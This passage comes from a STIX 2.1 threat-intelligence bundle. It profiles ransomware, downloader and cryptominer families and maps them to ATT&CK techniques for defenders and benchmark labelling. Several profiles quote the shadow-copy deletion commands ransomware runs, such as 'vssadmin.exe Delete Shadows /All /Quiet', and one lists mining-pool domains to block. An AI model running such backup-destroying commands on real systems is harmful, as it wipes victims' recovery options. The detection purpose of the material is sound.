      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a030b988-eb06-582c-a02b-5d504d2bd683",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptojoker exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--438bc63f-4884-57ed-97eb-f45c6ef6c4b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a030b988-eb06-582c-a02b-5d504d2bd683",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptojoker exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--70d100bd-b368-570f-88af-65baa1755a0b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a030b988-eb06-582c-a02b-5d504d2bd683",
      "target_ref": "attack-pattern--31d6d05d-adfe-5580-9365-20731a0168a5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptojoker exhibits technique T1012 (Query Registry (Identifying mounted drives and network shares to encrypt))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a4fbe6af-aa01-5114-b60c-f7a39f9c18c9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cryptoload",
      "description": "TrojanDownloader:Win32/Cryptoload is a specialized, highly obfuscated trojan component whose sole purpose is to establish initial access, bypass endpoint security, and secretly download and execute subsequent malware payloads (frequently ransomware or cryptominers, hence the name). It acts as the critical delivery mechanism for more destructive threats.<br><br><b>Understanding Cryptoload (Downloaders)</b><br>To an end-user, Cryptoload execution might cause a brief flash of a command prompt or simply go unnoticed. For a security analyst, Cryptoload represents the first stage of a multi-stage attack. It is designed to be as small and stealthy as possible, often utilizing heavy encryption or packing (`T1027`) so its signature changes rapidly, frustrating traditional AV detection.<br><br><b>Execution and Evasion Strategies</b><br>Cryptoload is typically delivered via spear-phishing emails containing weaponized macros or malicious JavaScript attachments (`T1566.001`). Upon execution (`T1204.002`), it unpacks its core logic into memory. It then utilizes legitimate Windows utilities like `powershell.exe`, `bitsadmin.exe`, or `certutil.exe` (Living off the Land binaries - `T1218`) to initiate an outbound connection (`T1105`) to a hardcoded or dynamically generated C2 server to fetch the actual payload. The downloaded payload is then executed, often via Process Injection (`T1055`) to evade behavioral detection.<br><br><b>Indicators of Compromise (IoCs)</b><br>The most critical IoC is the secondary payload it drops. For Cryptoload itself, EDR telemetry will often show suspicious parent-child process relationships, such as `WINWORD.EXE` spawning `powershell.exe` with hidden window styles and obfuscated Base64 commands. Network logs will show unusual outbound HTTP/HTTPS connections originating from these scripting engines to unknown domains or raw IP addresses. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cryptoload",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cryptoload"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1665059f-69c7-587c-afe0-278ebfb609f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a4fbe6af-aa01-5114-b60c-f7a39f9c18c9",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptoload exhibits technique T1105 (Ingress Tool Transfer (Downloading the secondary payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3606b4ab-9d27-56a5-82f8-766e39e10023",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a4fbe6af-aa01-5114-b60c-f7a39f9c18c9",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptoload exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell (Execution vector))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--40e8313c-25a2-5566-ac70-b6b5b47c8e32",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a4fbe6af-aa01-5114-b60c-f7a39f9c18c9",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptoload exhibits technique T1027 (Obfuscated Files or Information (Packed droppers))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--151d0224-c78e-54f9-856d-e9a8df39845d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cryptolocker",
      "description": "CryptoLocker is the historic archetype of modern asymmetric ransomware, first discovered in September 2013. Engineered and operated under the criminal syndicate led by Russian national Evgeniy Mikhailovich Bogachev (known online as 'lucky12345' and 'slavik'), CryptoLocker pioneered the ruthless pairing of AES-256 local file encryption with an asymmetric RSA-2048 public-key infrastructure, ensuring that victim files could not be decrypted without the private key held exclusively on attacker-controlled command servers.\n\nCryptoLocker was primarily distributed via Bogachev's GameOver Zeus botnet and high-volume phishing emails carrying malicious attachments. In May and June 2014, an unprecedented multinational law enforcement coalition led by the US Department of Justice, the FBI, Europol EC3, the UK National Crime Agency (NCA), and police agencies across 10 nations executed 'Operation Tovar'. The operation seized the central command-and-control servers, dismantled GameOver Zeus, and recovered the master database of private decryption keys. The US DOJ indicted Bogachev in the Western District of Pennsylvania, and the FBI placed him on the Cyber's Most Wanted list with a record $3 million reward. Following the takedown, security firms FireEye and Fox-IT launched the free 'DecryptCryptoLocker' portal, enabling hundreds of thousands of victims worldwide to recover their data without paying ransom. (Observed samples in benchmark: 10)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "CryptoLocker",
        "Trojan.CryptoLocker",
        "Win32/CryptoLocker",
        "Ransom.CryptoLocker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cryptolocker",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cryptolocker"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2bb25c78-bf85-5cf0-b2d5-2b5becb3dd5d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--151d0224-c78e-54f9-856d-e9a8df39845d",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptolocker exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aad442e0-e30e-5948-9b67-44d1de7ef521",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--151d0224-c78e-54f9-856d-e9a8df39845d",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptolocker exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--97c7fc53-66eb-58b6-a671-45e50d324e3c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--151d0224-c78e-54f9-856d-e9a8df39845d",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptolocker exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fcce06e9-bb09-5082-9618-f81e5781f152",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--151d0224-c78e-54f9-856d-e9a8df39845d",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptolocker exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a6f4d33e-3a05-58d8-9d93-2c764b91dc7a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--151d0224-c78e-54f9-856d-e9a8df39845d",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptolocker exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8cb73fcd-61ad-5abc-9d5d-e4e4612412c2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--151d0224-c78e-54f9-856d-e9a8df39845d",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptolocker exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--fac5b92e-600d-5dce-95f1-be1e878a45e7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cryptominer",
      "description": "<h3>Executive Summary</h3>\n\"Cryptominer\" (often flagged as Riskware.CoinMiner, Trojan.Miner, or PUA.Miner) is a generic detection classification for software that utilizes the infected host's computing resources (CPU or GPU) to solve complex cryptographic equations, thereby \"mining\" cryptocurrency (most commonly Monero) for the benefit of the attacker. This process is known as \"Cryptojacking.\"\n\n<h3>Technical Architecture and Capabilities</h3>\nCryptominers can be distributed as standalone executables (Trojans), bundled within Potentially Unwanted Programs (PUPs), or even executed entirely within a web browser via malicious JavaScript (Web-based Cryptojacking).\n\nKey behavioral characteristics include:\n<ul>\n<li><strong>Resource Exhaustion:</strong> The primary signature of a cryptominer is the immediate, sustained maximization of CPU or GPU usage. The malware is designed to push the hardware to its thermal limits to generate cryptocurrency as rapidly as possible.</li>\n<li><strong>Pool Communication:</strong> Miners do not operate in isolation; they connect to \"Mining Pools\" using the Stratum protocol (often over standard HTTP/HTTPS ports or custom TCP ports) to receive work algorithms and submit computed hashes.</li>\n<li><strong>Defense Evasion:</strong> Advanced miners (like those deployed by the LemonDuck botnet) contain routines to monitor for the execution of Task Manager or Resource Monitor. If the user attempts to check system performance, the miner will temporarily pause its operations to hide the CPU spike.</li>\n</ul>\n\n<h3>Threat Impact</h3>\nWhile cryptominers typically do not steal data or encrypt files, they cause severe operational degradation. The extreme load on the hardware leads to system freezing, application crashes, increased power consumption, and significantly reduced hardware lifespans due to thermal stress. Furthermore, a miner on a corporate network indicates a fundamental breach of endpoint security.\n\n<h3>Incident Response and Advanced Analysis</h3>\n<ul>\n<li><strong>Performance Monitoring:</strong> Utilize enterprise monitoring tools to identify endpoints exhibiting sustained, unexplained 100% CPU/GPU utilization during normal business hours.</li>\n<li><strong>Network Blocking:</strong> Identify and block network connections to known mining pool domains (e.g., `minexmr.com`, `nanopool.org`) at the corporate firewall to immediately render the miners useless.</li>\n<li><strong>Eradication:</strong> Isolate the endpoint and perform a deep system scan to remove the miner executable, its associated persistence mechanisms (Registry `Run` keys, WMI subscriptions), and any secondary backdoors dropped by the initial infection vector.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Riskware.CoinMiner",
        "Trojan.Miner",
        "PUA.Miner"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cryptominer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cryptominer"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--40ad4892-bace-57dc-ae27-9e1c0da8ef14",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fac5b92e-600d-5dce-95f1-be1e878a45e7",
      "target_ref": "attack-pattern--bd67c8e3-94f2-57e6-a412-22872f13a8e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptominer exhibits technique T1496 (Resource Hijacking (The core function of mining Monero cryptocurrency))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--33416ade-bb2b-5421-8345-ad2c4856711d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fac5b92e-600d-5dce-95f1-be1e878a45e7",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptominer exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--988f1b00-81d7-5faa-a873-bdf1b15c1efd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--fac5b92e-600d-5dce-95f1-be1e878a45e7",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptominer exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--edcd49b7-109c-5244-98fc-ea83431f38bf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cryptomix",
      "description": "Ransomware:Win32/Cryptomix is a well-known, historically significant ransomware family. Its primary objective is to encrypt the victim's files using strong cryptographic algorithms (typically RSA-2048 and AES-256) (`T1486`) and extort cryptocurrency. Cryptomix is notable for its numerous variants (like Cryptoshield), its shifting network of payment portals hosted on the Tor network, and its aggressive deletion of system recovery options.<br><br><b>Understanding Cryptomix (Ransomware)</b><br>To an end-user, a Cryptomix infection is devastating. They will suddenly find their documents, photos, and databases inaccessible, appended with an extension (which varied heavily between versions, e.g., `.scl`, `.code`, `.rmp`), accompanied by a stark 'Ransom Note' providing instructions to pay the attackers via Bitcoin. For an organization, it represents a critical incident requiring immediate network isolation.<br><br><b>Execution and Encryption Mechanics</b><br>Cryptomix was typically delivered via exploit kits (like RIG or GrandSoft) or via malicious spam attachments. Upon execution, it immediately executes commands to delete Volume Shadow Copies (`vssadmin.exe delete shadows`) (`T1490`) and disable the Windows Startup Repair feature to prevent easy data recovery. It then rapidly traverses local drives and mapped network shares (`T1012`), encrypting files. A unique feature of early Cryptomix was its reliance on a hardcoded list of public keys; if it couldn't reach its C2 server, it would use an 'offline' key, which security researchers were sometimes able to extract to build free decryptors.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the total loss of data availability. Host-based IoCs include the sudden renaming of thousands of files, the presence of ransom notes (e.g., `HELP_INSTRUCTION.txt`), and EDR alerts for rapid file modification operations. System logs will show the execution of commands designed to inhibit system recovery (`vssadmin`, `bcdedit`). Network IoCs include DNS requests to known Cryptomix C2 infrastructure, often routing through compromised websites. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cryptomix",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cryptomix"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6aa73f57-89d4-5f6a-bff4-95eac8b95eb4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--edcd49b7-109c-5244-98fc-ea83431f38bf",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptomix exhibits technique T1486 (Data Encrypted for Impact (The core function of encrypting the victim's data))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--281aff9c-5fcd-5614-b891-71c51f706456",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--edcd49b7-109c-5244-98fc-ea83431f38bf",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptomix exhibits technique T1490 (Inhibit System Recovery (Deleting Shadow Copies and disabling Windows repair))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d36b41f7-1bdc-5d0f-8c54-16778aa1ac14",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--edcd49b7-109c-5244-98fc-ea83431f38bf",
      "target_ref": "attack-pattern--31d6d05d-adfe-5580-9365-20731a0168a5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptomix exhibits technique T1012 (Query Registry (Identifying mounted drives and network shares to encrypt))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b71a1e8d-5dd7-5b82-90b6-b1bc718c6726",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Crypton",
      "description": "Ransom:Win32/Crypton is a destructive ransomware family that encrypts a victim's files and demands a cryptocurrency payment for the decryption key (`T1486`). Like many ransomware variants, it is designed to cause maximum operational disruption to extort money. It has seen various iterations, often altering the file extensions of encrypted files (e.g., appending `.crypton`, `.nemesis`, or `.xnt`).<br><br><b>Understanding Crypton (Ransomware)</b><br>To an end-user, the impact is catastrophic: personal and business files become inaccessible, their desktop wallpaper is often changed to a threatening message, and a text file containing ransom instructions is dropped on the desktop. For a SOC analyst, Crypton represents a total failure of preventative controls and initiates a major incident response effort focusing on containment and recovery.<br><br><b>Execution and Extortion Mechanics</b><br>Crypton typically gains initial access via exposed Remote Desktop Protocol (RDP) services (`T1133`), spam emails containing malicious attachments (`T1566.001`), or exploit kits. Once executed, it profiles the system, kills processes associated with database software (to unlock the files for encryption), and uses strong cryptographic algorithms (often a mix of RSA and AES) to lock user data (`T1486`). Crucially, to prevent easy recovery, Crypton executes commands (like `vssadmin.exe Delete Shadows /All /Quiet`) to destroy Windows Volume Shadow Copies (`T1490`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a total loss of data availability. Host-based IoCs include files appended with the `.crypton` extension, the presence of ransom notes (often named `HOW_TO_DECRYPT_FILES.txt`), and EDR alerts for the execution of `vssadmin.exe` or `wbadmin.exe` with commands to delete backups. Network IoCs may include outbound connections to Tor-based C2 infrastructure for key negotiation, or anomalous inbound RDP traffic prior to the encryption event. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Crypton",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/crypton"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4cdeb9b4-c5e8-59f0-b9f1-4327d83a9e15",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b71a1e8d-5dd7-5b82-90b6-b1bc718c6726",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crypton exhibits technique T1486 (Data Encrypted for Impact (The core ransomware functionality))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--57e8b3d9-372f-5253-a1fe-89ade4c24809",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b71a1e8d-5dd7-5b82-90b6-b1bc718c6726",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crypton exhibits technique T1490 (Inhibit System Recovery (Deleting Volume Shadow Copies))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--257720b6-352b-52f5-ae10-a7b824479622",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b71a1e8d-5dd7-5b82-90b6-b1bc718c6726",
      "target_ref": "attack-pattern--1fcebc57-df32-5a76-a6b3-7f88fbefc45d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Crypton exhibits technique T1133 (External Remote Services (A common initial access vector for this family))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1fd11c06-c093-579f-aec9-db72badc0594",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cryptos",
      "description": "Ransomware:Win32/Cryptos is a generic heuristic detection used by antivirus engines to identify early, varied, or obfuscated forms of encryption-based ransomware. While it may not pinpoint a specific famous family (like LockBit or Ryuk), a Cryptos alert signifies a critical event: an executable is actively attempting to utilize cryptographic APIs to mass-encrypt the user's files and extort a ransom payment for the decryption key.<br><br><b>Understanding Cryptos Heuristics</b><br>To a victim, a Cryptos infection is a catastrophic event. Files suddenly change extensions (e.g., `.locked`, `.crypt`), become inaccessible, and a ransom note (usually a `.txt` or `.html` file) appears on the desktop demanding cryptocurrency. For a security analyst, this alert means perimeter defenses failed, the payload executed, and the race to stop the encryption process is on. Generic heuristics trigger on the *behavior* of rapid file modification combined with the use of Windows CryptoAPI.<br><br><b>Execution and Encryption Mechanics</b><br>Ransomware flagged as Cryptos is typically delivered via phishing emails (`T1566.001`), exploit kits, or deployed manually by attackers after moving laterally. Upon execution (`T1204.002`), it establishes persistence (often via Registry Run keys) and attempts to disable volume shadow copies and backups (`vssadmin.exe delete shadows`) (`T1490`). It then iterates through all local drives and mapped network shares, targeting specific file extensions (documents, databases, pictures) (`T1083`). It utilizes strong encryption (like AES or RSA) (`T1486`) to lock the files, overwriting the originals or creating encrypted copies and deleting the originals.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is total data loss and massive business disruption. The primary IoC is an overwhelming surge in file modification events (writes/renames) across the disk. EDR logs will flag the execution of `vssadmin.exe` or `bcdedit.exe` to inhibit system recovery. Network logs may show the malware reaching out to a C2 server to transmit the unique encryption key before the ransom note is displayed. (Observed samples in benchmark: 10)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cryptos",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cryptos"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--731f4ce7-815c-58c6-bd6e-340b3d1759bf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1fd11c06-c093-579f-aec9-db72badc0594",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptos exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--56e8b740-b16c-5b8f-8063-c11df13f80ed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1fd11c06-c093-579f-aec9-db72badc0594",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptos exhibits technique T1490 (Inhibit System Recovery (Deleting Shadow Copies))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--24ffced9-fe65-5010-a566-626022a90d99",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1fd11c06-c093-579f-aec9-db72badc0594",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptos exhibits technique T1083 (File and Directory Discovery (Scanning for target files))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--38ed28b1-22dc-5135-a3ba-3690f6a3301e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1fd11c06-c093-579f-aec9-db72badc0594",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cryptos exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ed16cc29-7eb6-567f-9c35-a67f37714edd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cryptowall",
      "description": "CryptoWall is a family of file-encrypting ransomware analyzed by the Dell SecureWorks Counter Threat Unit (CTU). First analyzed in late February 2014 but distributed since at least early November 2013, it emerged after CryptoLocker and was considered by CTU researchers the largest and most destructive ransomware threat of its time. Early variants mimicked CryptoLocker's appearance and were known as CryptoClone and then CryptoDefense before being renamed CryptoWall in May 2014. It encrypts user files with an RSA-2048 public key retrieved from a command-and-control server, deletes Windows Volume Shadow Copies and disables System Restore to block recovery, and demands ransom payment (commonly $500-$1000, ranging $200-$2000) for decryption. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "cryptodefense",
        "cryptowall3",
        "cryptowall4",
        "win32.cryptowall",
        "crowti"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cryptowall",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cryptowall"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "AA15-288A"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dace7c47-4546-5834-9df9-00b7df479aaf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
